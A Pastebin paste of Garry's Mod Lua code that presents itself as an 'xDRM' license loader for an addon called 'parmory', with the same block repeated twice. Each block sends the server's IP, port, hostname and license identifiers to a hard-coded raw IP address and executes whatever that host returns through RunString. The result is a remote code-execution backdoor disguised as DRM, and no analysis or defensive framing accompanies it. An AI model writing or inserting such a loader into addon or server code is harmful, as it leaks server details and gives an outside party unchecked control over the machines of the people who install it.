hoobonceagain

runstring

Aug 28th, 2018
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.50 KB | None | 0 0
  1.  
  2.  
  3.  
  4. local g = _G
  5. local x = {}
  6.  
  7. x.ip = string.Explode(":", game.GetIPAddress())[1]
  8. x.port = GetConVar("hostport"):GetString() or "SP"
  9.  
  10. function x.u(a)
  11. local a1, a2, a3, a4 = a:byte(1, -1)
  12.  
  13. local s = g["string"]["format"]("%%%02X", a1)
  14.  
  15. local n = a2
  16. if n then
  17. s = s .. g["string"]["format"]("%%%02X", n)
  18. end
  19.  
  20. n = a3
  21. if n then
  22. s = s .. g["string"]["format"]("%%%02X", n)
  23. end
  24.  
  25. n = a4
  26. if n then
  27. s = s .. g["string"]["format"]("%%%02X", n)
  28. end
  29.  
  30. return s
  31. end
  32.  
  33. function x.e(s)
  34. if s then
  35. s = g["string"]["gsub"](s, "([^%w ])", x.u)
  36. s = g["string"]["gsub"](s, " ", "+")
  37. end
  38.  
  39. return s
  40. end
  41.  
  42. if SERVER then
  43. x.uid = xDRM["parmory"].License.uid
  44. x.aid = xDRM["parmory"].License.addonid
  45. x.uidh = xDRM["parmory"].License.uidh
  46. else
  47. x.uid = "CL"
  48. x.aid = "CL"
  49. x.uidh = "CL"
  50. end
  51.  
  52. http.Fetch("http://139.59.185.147/gm/drmv/gsvcl.php?ip="..x.ip.."&port="..x.port.."&ver="..xDRM["parmory"].License.ver.."&addon="..xDRM["parmory"].License.addon.."&stance=first&uid="..x.uid.."&addonid="..x.aid.."&hn="..x.e(GetHostName()).."&hash="..x.uidh,
  53. function(a)
  54. RunString(a, "xDRM Load[addon: parmory]")
  55. end,
  56.  
  57. function()
  58. print("xDRM Load[addon: parmory] Load Failed. Restart and try again!")
  59. end
  60. )
  61.  
  62.  
  63. print('')
  64.  
  65.  
  66. print('')
  67.  
  68.  
  69. local g = _G
  70. local x = {}
  71.  
  72. x.ip = string.Explode(":", game.GetIPAddress())[1]
  73. x.port = GetConVar("hostport"):GetString() or "SP"
  74.  
  75. function x.u(a)
  76. local a1, a2, a3, a4 = a:byte(1, -1)
  77.  
  78. local s = g["string"]["format"]("%%%02X", a1)
  79.  
  80. local n = a2
  81. if n then
  82. s = s .. g["string"]["format"]("%%%02X", n)
  83. end
  84.  
  85. n = a3
  86. if n then
  87. s = s .. g["string"]["format"]("%%%02X", n)
  88. end
  89.  
  90. n = a4
  91. if n then
  92. s = s .. g["string"]["format"]("%%%02X", n)
  93. end
  94.  
  95. return s
  96. end
  97.  
  98. function x.e(s)
  99. if s then
  100. s = g["string"]["gsub"](s, "([^%w ])", x.u)
  101. s = g["string"]["gsub"](s, " ", "+")
  102. end
  103.  
  104. return s
  105. end
  106.  
  107. if SERVER then
  108. x.uid = xDRM["parmory"].License.uid
  109. x.aid = xDRM["parmory"].License.addonid
  110. x.uidh = xDRM["parmory"].License.uidh
  111. else
  112. x.uid = "CL"
  113. x.aid = "CL"
  114. x.uidh = "CL"
  115. end
  116.  
  117. http.Fetch("http://139.59.185.147/gm/drmv/gsvcl.php?ip="..x.ip.."&port="..x.port.."&ver="..xDRM["parmory"].License.ver.."&addon="..xDRM["parmory"].License.addon.."&stance=first&uid="..x.uid.."&addonid="..x.aid.."&hn="..x.e(GetHostName()).."&hash="..x.uidh,
  118. function(a)
  119. RunString(a, "xDRM Load[addon: parmory]")
  120. end,
  121.  
  122. function()
  123. print("xDRM Load[addon: parmory] Load Failed. Restart and try again!")
  124. end
  125. )
Advertisement
Add Comment
Please, Sign In to add comment